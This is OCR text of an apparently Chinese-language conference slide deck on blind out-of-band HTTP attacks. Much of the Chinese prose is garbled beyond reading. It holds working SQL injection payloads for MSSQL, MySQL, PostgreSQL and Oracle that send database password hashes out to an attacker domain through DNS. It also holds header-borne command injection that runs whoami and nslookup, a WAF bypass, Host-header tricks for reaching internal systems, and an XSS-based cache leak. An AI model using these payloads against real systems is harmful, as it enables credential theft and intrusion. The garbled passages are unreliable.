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HTTP BRIt ABlind Attack , Blind Inject Everything

Blind Sqllnject (Normal , pass)

Blind BypassWaf ( Normal , easy , let's try )

Blind Redirect(abnormal, luck is very important)

Blind CommandInject (how to inject , just don't care)

Blind PostParam (give you more, you accept it)

Blind SSRF ( bind local interface and no valid response )

Blind Xss Injection (automatic submit,can not related to request)
Blind LDAP Injection (maybe you are using ldap)

Blind xxe ( reverse connect you and get xml parse )

Blind everything everywhere ==> fuzzing...
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HTTP BRIt ABlind Attack , Blind Inject Everything

HTTPEIRGG . NEAEEFREFIIHTTP Request, HTTP ResponseR i & EHHEH 1 THRE
FETES o tIINE LT |, T LAFRAHTTP BN,

ZEERTIIURIERENIRRANERES , BB BingE I 7 EIHERE
KIECRRE , B A0 EEEEZEF A F w5,

R EER T LA &S FIFBOOB G A AEMZSH O n# T AR BRI G 5 =K.
IREERR | NRREBSN B =Sn] LURH{THTTP Blind Attack , FFREHRITHIEHINZE

SRR — LS RIS R AR S R,
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0x02 A4 FEEBlind Attack
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0x02 Blind Attack Startup

Blind Sqgllnject (Nothing to say)
Blind Web Application Firewall bypass ZadhiR &S ( ZLEHTTPIEKGIE )
Blind Redirect Analysis System EIrDHT/EF RSt ( ZEHTTPIEKURI )
Blind Commandinject [#&l]] ANERFHIIMEEREREE ( OO0B )
Blind Outer to Internal SystemEMNEIA
[#] FTKRKERBaMHES (008 )
Blind PostParam VARIfEHE/TIA ( IEINEEEEHTTPIERS4Y )
SRR ( REFEIFRIP/FEE )
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Blind Sqllnject Retrieve Data (OOB)

MSSQL

DECLARE @host varchar(1024); SELECT @host=(SELECT TOP 1 masterdbo.fn_varbintohexstr(password_hash)
FROM sys.sgl_logins WHERE name='sa') +'.s.livesina.com'; EXEC('master..xp_dirtree "\\'+@host+"\foobar$");

MYSQL

SELECT LOAD_FILE(CONCAT("\\\\',(SELECT password FROM mysgl.user WHERE user="root' LIMIT
1),".s.livesina.com\\abc"));

PostgreSQL.:

DROP TABLE IF EXISTS table_output; CREATE TABLE table_output(content text); CREATE OR REPLACE FUNCTION
temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT; DECLARE query_result TEXT; BEGIN SELECT
INTO query_result (SELECT passwd FROM pg_shadow WHERE usename="postgres'), exec_cmd := E'COPY
table_output(content) FROM E\\\\\\\\\'[|query_result||E".s.livesina.com\\\\foobartxt\"; EXECUTE exec_cmd; END;
$$ LANGUAGE plpgsgl SECURITY DEFINER; SELECT temp_function();
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Blind Sqllnject Retrieve Data (OOB)

Oracle:

ExampleT:

SELECT UTL_INADDR.GET_HOST_ADDRESS('test.y.s.livesina.com"),;

Example?:

SELECT UTL_HTTPREQUEST('http://test.y.livesina.com/test') FROM DUAL; Example3:
SELECT UTL_HTTPREQUEST('http://test.y.livesina.com/test’) FROM DUAL; Example4:
SELECT HTTPURITYPE('http://test.y.livesina.com/test’).GETCLOB() FROM DUAL;
Exampleb:

SELECT DBMS_LDAPINIT(('test.s.livesina.com',80) FROM DUAL;

Example6:

SELECT DBMS_LDAPINIT((SELECT password FROM SYS.USER$ WHERE
name='SYS")||'.s.livesina.com',80) FROM DUAL;
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2. I RSE (BEHTTPIERA )
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Blind Web Application Firewall bypass 1

GET /test?id=123 HTTP/1.1 =» LOL /test?id=123 HTTP/1.1 ( AR A= EHAFERTE )

Host: sina.cn

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,image/apng,*/*;q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;g=0.8,be;q=0.6,zh-CN;g=0.4,zh;q=0.2

Cookie: a=b

| =REEBUF
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SIEHTTPIE R A AR ALOLEY, Bid—T,

Raw | Headers | Hex Raw | Headers | Hex | HTML | Render
LOL -] HTTP/11 200 OK :
Jtest N 1 < = 1%:2 73620 union620 sel ect?620 123458 version %23 & Submit=Submit# Date: Mon, 17 Now 2014 05:48:12 GMT
HTTR/L1

Server: Apache/2.2.15 (Cent05)
¥-Powered-By: PHP/5.3.3

Expires: Tue, 23 Jun 2008 12:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache

Content-Length: 4957

Connection: close

Content-Type ted/htmlcharset=utf-8

User-Agent- Mezilla/5.0 (Windows NT 6.1, \WOWBS, rv;310) Gecka/20100101 Firefox/310
Accept: text/html,application/sxhtml +xml,application/xml;q=0.9,%/*;q=0.8
Accept-Language: zh-cn, zh,q=0.8 en-us q=0.5,en;q=0.3

Accept-Enceding: gzip, deflate

Cockae: security=Iow; PHPSESSID=eh|31lsfmBdelqésch3dpandpT

Connection: keep-alive

R[EI200, =BEIZE, F— MEEIRIEUE.
<ini:-ut t}be="subrmt" name="Submit" value="Submit">

</form=

<pre>ID: 1' union select 123456, version()# <br>First name: admin<br> Surname: admin</pre> <pre>ID: 1' union select
123456, version()#<br> First name: 123456 <br> Surname: 5.1.73</pre>

</div=
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Blind Web Application Firewall bypass 2

POST /test HTTP/1.1

Host: sina.cn

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,image/apng,*/*;q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;g=0.8,be;q=0.6,zh-CN;g=0.4,zh;q=0.2

Cookie: a=b

c=d
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Blind Web Application Firewall bypass 2

POST /test.php HTTP/1.1

Host: target.com

Content-Length: 297

Pragma: no-cache

Cache-Control: no-cache

Content-Type: multipart/form-data; boundary=-------- 1004104974

Cookie: a:b
Connection: close

—————————— 1004104974
Content-Disposition: form-data; name="file"; filename=
Content-Type: application/octet-stream

—————————— 1004104974
Content-Disposition: form-data; name="c"

P 1004104974
Content-Disposition: form-data; name="submit"

---------- 1004104974--
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Blind Web Application Firewall bypass

BTN

>TEREFKAI , MWEREIER

*2> KiEPayloadfi & Waff=&L , XL ZBIEKG ZRIEHNER
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Blind Redirect Analysis System 1 ( Change URI 1)

GET /test HTTP/1.1 =>» GET test.randkey.yourloggingdomain.com HTTP/1.1

Host: sina.cn

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,image/apng,*/*;q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;g=0.8,be;q=0.6,zh-CN;g=0.4,zh;q=0.2

Cookie: a=b
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Blind Redirect Analysis System 1 ( Change URI 2 )

GET /test HTTP/1.1 =» GET @test.randkey.yourloggingdomain.com HTTP/1.1

Host: sina.cn

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,image/apng,*/*;q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;g=0.8,be;q=0.6,zh-CN;g=0.4,zh;q=0.2

Cookie: a=b
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Blind Redirect Analysis System 1 ( Change URI 2 )

GET /test HTTP/1.1 =>» GET http.//test.randkey.yourloggingdomain.com HTTP/1.1

Host: sina.cn

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,image/apng,*/*;q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;g=0.8,be;q=0.6,zh-CN;g=0.4,zh;q=0.2

Cookie: a=b
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Blind Redirect Analysis System 1
BRIaSEK Why this request ?

BRI :
2017-09-08 06:08:52
EFIGIP:

l|-|108;lt4:2.8.19:44624 Z:éfiﬁg U R Lj:ﬁFj:%

xxx.dockers.pentesterlab.cntest.3343037a.userdomain.testeeyee.com
BRFGE:

GET

RN EN

/testdomain/

RERFAIZFIER IR

null

User-Agent:

Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_3 like Mac OS X AppleWebKit/600.1.4 (KHTML, like
4.4.2; SCH-1959 Build/KOT49H AppleWebKit/537.36 (KHTML,like Gecko Version/4.0 Chrome
NetType/WIFI)

Cookies:

UserCookie

Referer:

https://referer.test.dockers.pentesterlab.cn/
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Blind Redirect Caching System 2

Normal Request

GET /test HTTP/1.1

Host: sina.cn =¥ sina.cn@test.randkey.yourloggingdomain.com

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,image/apng,*/*;,q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;g=0.8,be;q=0.6,zh-CN;g=0.4,zh;q=0.2

Cookie: a=b
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Blind Redirect Caching System 2

Normal Request

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8

| =REEBUF
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Blind Redirect Caching System 2

From xss to internal sensitive information leak
[StepTl]Attack Request: (Request to 123.123.123.123)
POST /xss.cgi HTTP/1.1

ContentLength: 62

Connection: close

xss=<img src="http.//internalserver.com/index.php/fake.jpg"/>

[Step2]Caching Request:(Request to 10.10.1.12)

GET /index.php/fake.jpg
Host: internalserver.com (internalserver.com=>» 10.10.1.12)

Connection: close

[Step3]Attack Request: (Request to 123.123.123.123)
GET /index.php/fake. jpg

Host: internalserver.com

Connection: close

Now you get index.php = Sensitive Information Leak
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Blind Redirect #&;ll

A A

1> 5l &IExXss payload , Fe Adnslogiz#2 Fhttplog1iE3

2>httplf B RIRERIRITAAZ | #rAhttplog2if R FHREIE F

FliE

1> dnslogakhttplog ¥t , 15EETREI ST

%E httplog2fid’&z , iBBhttplog IREIRNIR B SHEENT , R8I E— 1A LARIABRcache R
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Blind CommandiInject ( Change Many Things )

GET /test HTTP/1.1

Host: sina.cn = sina.cn@test.randkey.yourloggingdomain.com

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,image/apng,*/*;q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;g=0.8,be;q=0.6,zh-CN;g=0.4,zh;q=0.2

Cookie: a=b

| =REEBUF
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Blind CommandiInject ( Change Many Things )

GET /test HTTP/1.1

Host: sina.cn =¥ sina.cn.test.randkey.yourloggingdomain.com

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,image/apng,*/*;q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;g=0.8,be;q=0.6,zh-CN;g=0.4,zh;q=0.2

Cookie: a=b

| =REEBUF
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Blind CommandiInject ( Change Many Things )

GET /test HTTP/1.1

Host: sina.cn =¥ sina.cn. whoami .test.randkey.yourloggingdomain.com

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,image/apng,*/*;q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;g=0.8,be;q=0.6,zh-CN;g=0.4,zh;q=0.2

Cookie: a=b

| =REEBUF
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Blind CommandiInject ( Change Many Things )

GET /test HTTP/1.1

Host: sina.cn =»

sina.cn. nslookup randkey?2.yourloggingdomain.com .test.randkey.yourloggingdomain.com
Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml,q=0.9,image/webp,image/apng,*/*;q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;g=0.8,be;q=0.6,zh-CN;g=0.4,zh;q=0.2

Cookie: a=b

| =REEBUF
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Blind CommandiInject ( Change Many Things )

GET /HTTP/11

Host: sina.cn =» ‘whoami .randkey.youlogdomain.com

Connection: close

Cache-Control: no-transform

User-Agent: Mozilla/5.0 (Windows NT 6.1, WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87
Safari/537.36 root@randkey.youlogdomain.com

Cookie: a=b

True-Client-IP: "whoami'.randkey.youlogdomain.com

Forwarded:
for:\vvhoami\gquWu&kxhwmnyc6pazh6mx519q.burpcolIaborator.net;by:‘vvhoami\.gquyju6tl<><hwh1nyc6pazh6m
xs1gq.burpcollaborator.net;host="whoami randkey.youlogdomain.com

From: root@randkey.youlogdomain.com

X-Real-IP: "whoami'.randkey.youlogdomain.com

X-Wap-Profile: http://randkey.youlogdomain.com/wap.xml

Client-IP: "‘whoami'.randkey.youlogdomain.com

Referer: http://randkey.youlogdomain.com/ref

X-Forwarded-For: ‘whoami'.randkey.youlogdomain.com

Contact: root@randkey.youlogdomain.com

X-Client-IP: "whoami".randkey.youlogdomain.com

X-Originating-IP: "whoami'.randkey.youlogdomain.com

Proxy: whoami'.randkey.youlogdomain.com
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Blind CommandiInject ( Change Many Things )

GET /HTTP/11

Host: sina.cn = sina.cn. nslookup randkeyZ2.yourloggingdomain.com .randkey.youlogdomain.com

Connection: close

Cache-Control: no-transform

User-Agent: Mozilla/5.0 (Windows NT 6.1, WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87
Safari/537.36 root@randkey.youlogdomain.com

Cookie: a=b

True-Client-IP: "nslookup randkeyz. yourlogg[ngdoma[n.com “.randkey.youlogdomain.com

Forwarded: for="nslookup randkey?.yourloggingdomain.com'. randkey.youlogdomain.com

;by="nslookup randkey?.yourloggingdomain.com'. randkey.youlogdomain.com

;host="nslookup randkey?2.yourloggingdomain.com randkey.youlogdomain.com

From: root@randkey.youlogdomain.com

X-Real-IP: "nslookup randkey?.yourloggingdomain.com'.randkey.youlogdomain.com

X-Wap-Profile: http://randkey.youlogdomain.com/wap.xm!

Client-IP: "nslookup randkey?.yourloggingdomain.com .randkey.youlogdomain.com

Referer: http://randI<ey.youIogdomain.com/re]C

X-Forwarded-For: "nslookup randkey?2.yourloggingdomain.com .randkey.youlogdomain.com

Contact. root@randkey.youlogdomain.com

X-Client-IP: ‘nslookuF randkeyZC.fourloggingdomain.com‘.randkey.youIogdomain.com

X—Or[g[nating—lP: ‘nslookup randkey?.yourloggingdomain.com .randkey.youlogdomain.com

Proxy. nslookup randkey?2.yourloggingdomain.com .randkey.youlogdomain.com
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2> MRSl e

Bix :
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2=l - ¥ OEZEFPLnIiEI ] ESEmobile

HEIZRLRIEEZFISH |, LUK ANIESEmobile
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=6 . Byt RIS EEIEr
FEESSE , TRERROISEE S, ST, A5

HTTP/1.1 200 OK

Date: Wed, 17 May 2017 03:29:07 GMI
Content—-Type: application/json;charset=UTF-8
Connection: close

Vary: Accept-Encoding

Access—Control-Allow-Origin: I

Access-Control-Allow-Credentials: true

Access—-Control-Allow-Methods: OPTION, POST, GET -
Access—Control-Allow-Headers: X-Requested-With, Content-Type

X-Cache: bypass

Content-Length: 329
{"version”:"3.7.2", "code”:"000", "msg” : " HI)", "tokenid": "7
Name”:"sss”, "recipTel”:“sss”, "detailAddress”: “null@sssss”, "addressStatus”:"1", 1jd_balance”:"100. 00"}

, chamnnel”:"",

| =REEBUF



6. Blind Attack

SHHEN AR AISSHR ]

Hr :
>8] A b =
2>ITERM R 5

i

1> HTTP{CIE

2> SCIAS S RIS E Y&
3> BCEAHRIREIEN
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EIE'.Z:%EIQProxy

REVERSE PUBUC
PROXY \ APP

INTERNAL
APP
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HTTP Blind Attack 5

GET /test HTTP/1.1

Host: sina.cn = internal.sina.cn

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,image/apng,*/*;q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;g=0.8,be;q=0.6,zh-CN;g=0.4,zh;q=0.2

Cookie: a=b

| =REEBUF



FreeBuf (259

HTTP Blind Attack 5

CONNECT sina.cn:80 HTTP/1.1
Host: sina.cn
Proxy-Connection: keep-alive

SZFFHTTPSRIE ST T TCPIERR
RIE—PIEFRPOSTIEKL |, AREHIR_ EEBiMY
REDIS/Memcache...

Struts?
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HTTP Blind Attack 5 (How to get domain/ip)

> FiERRNAMNER , SfFBirEER , BinsRRMNER
2> FEHTEI A MY SBEEF N PiB LA TR

3> tRIBIPENIAIR[A] Wé%ﬂ@ﬁfﬁiﬁﬁ% [ERNREIR S HI TR
4> AR EIHTIHIE
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censys.io

%?‘?ﬁﬁl P//.\
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RIPRIEE

443 https.tls.certificate.parsed.extensions.subject_alt_name.dns_name
SWwWw.219.me

https:.//censys.io

443.https.tls.certificate.parsed.extensions.subject_alt name.dns_names:www.219.me

|
-

tpsil
IPv4 Hosts Top Million Websites Certificates Tools~ Help

103.44.28.61

AS-AP Cloudie Limited (55933) Central District, Hong Kong

443/https, 80/http

Apache HTTP Server Test Page powered by CentOS  21%2.me, www.219.me

443 https.tls.certificate.parsed.extensions.subject_alt_name.dns_names: www.219.me
443 https.tls.certificate.parsed.names: www.219.me

| =REEBUF


https://censys.io/
https://censys.io/

FreeBuf

S RN (OOB)

{EFEBurpsuittif4 B aFB (RIS iE R AIXFIFEN

# Lines starting with # are ignored
#param,u,http://%s/
#param,href,http://%s/
#param,action,http://%s/
i;:l: E ﬁyﬁ\%%ﬁl’mu #param,host,%s

\_.r E L #param,http_host,%s
#param,email, root@%s
#param,url,http://%s/
#param,load,http://%s/
#param,preview,http://%s/
#param,target,http://%s/
#param,proxy, http://%s/
#param, from,http://%s/
#param,src,http://%s/
#param,ref,http://%s/
#param,referrer,http://%s/

# %h is replaced with corresponding Host header

# Useful in cases like Host, Origin, etc.

#header,Host,%s : 80@%h

header,Contact, root@%s

header, From, root@%s

header,User-Agent,Mozilla/5.@ (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.288
header,Referer,http://%s/ref

#header,X-Original-URL,http://%s/
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Collaborator everywhere(Burpsuit Plugin)

I1F T A : collaborator-everywhere (https://github.com/PortSwigger/collaborator-everywhere)
Rules:https://github.com/PortSwigger/collaborator-everywhere/blob/master/resources/injections

Cache-Control no-transform

Contact root@qqk44hf45ablky4inOjwgmwjcai69uy.burpcollaborator.net
X-Originating-IP spoofed.yxzcbpmccii9r6bqu8q4nu3rjipeh26.burpcollaborator.net
X-Real-IP spoofed.nvm19ekla7gypv9fsxotljlgh7n3gr5.burpcollaborator.net
X-Forwarded-For spoofed.muk08dj096fxou8erwnskiOfgém2gqg5.burpcollaborator.net
True-Client-IP spoofed.ojb2xf82y84zdwxggycu9kph58b46sv.burpcollaborator.net
X-Wap-Profile http://bixpw27pxv3mcjw3flbh87044var6fv.burpcollaborator.net/wap.xml
X-Client-IP spoofed.en5s15cs2y8phml6kogkdat79yfucil.burpcollaborator.net

From root@7t117yil8reinf7zghmdj3z0frinjb8.burpcollaborator.net

Referer http://jdOxra2xs3yu7rrbatép3fjcz35z4nt.burpcollaborator.net/ref
Forwarded for=spoofed.wuua8nja9gf7048o0r6n2ksOpggmcmOb.burpcollaborator.net;by=spoofed.wuua8nja9gf7o48orbnz
Client-IP spoofed.rfa5ti45ub029ztjc18x5nlk1b779vy.burpcollaborator.net

Payload is not very well
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Payload Is Very Important

‘nslookup ranakey1.a.0.yourdomain.pub
>/dev/null;whoami’.randkey2.a.0.yourdomain.pub
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2017-09-21 00:28:43 randkey1.a.0.yourdomain.pub. 214.156.3.121:28398 I

2017-09-21 00:28:51 root.randkey2.a.0.yourdomain.pub. 214.156.3.121:3342

“Collaborator everywhere” 1is not enough, we need good payload
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BER)FEHLCache-Control

Cache-Control: no-transform
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No transformations or conversions should be made to the resource.
The Content-Encoding, Content-Range, Content-Type headers must
not be modified by a proxy. A non- transparent proxy might, for
example, convert between image formats in order to save cache

space or to reduce the amount of traffic on a slow link. The no-
transform directive disallows this.
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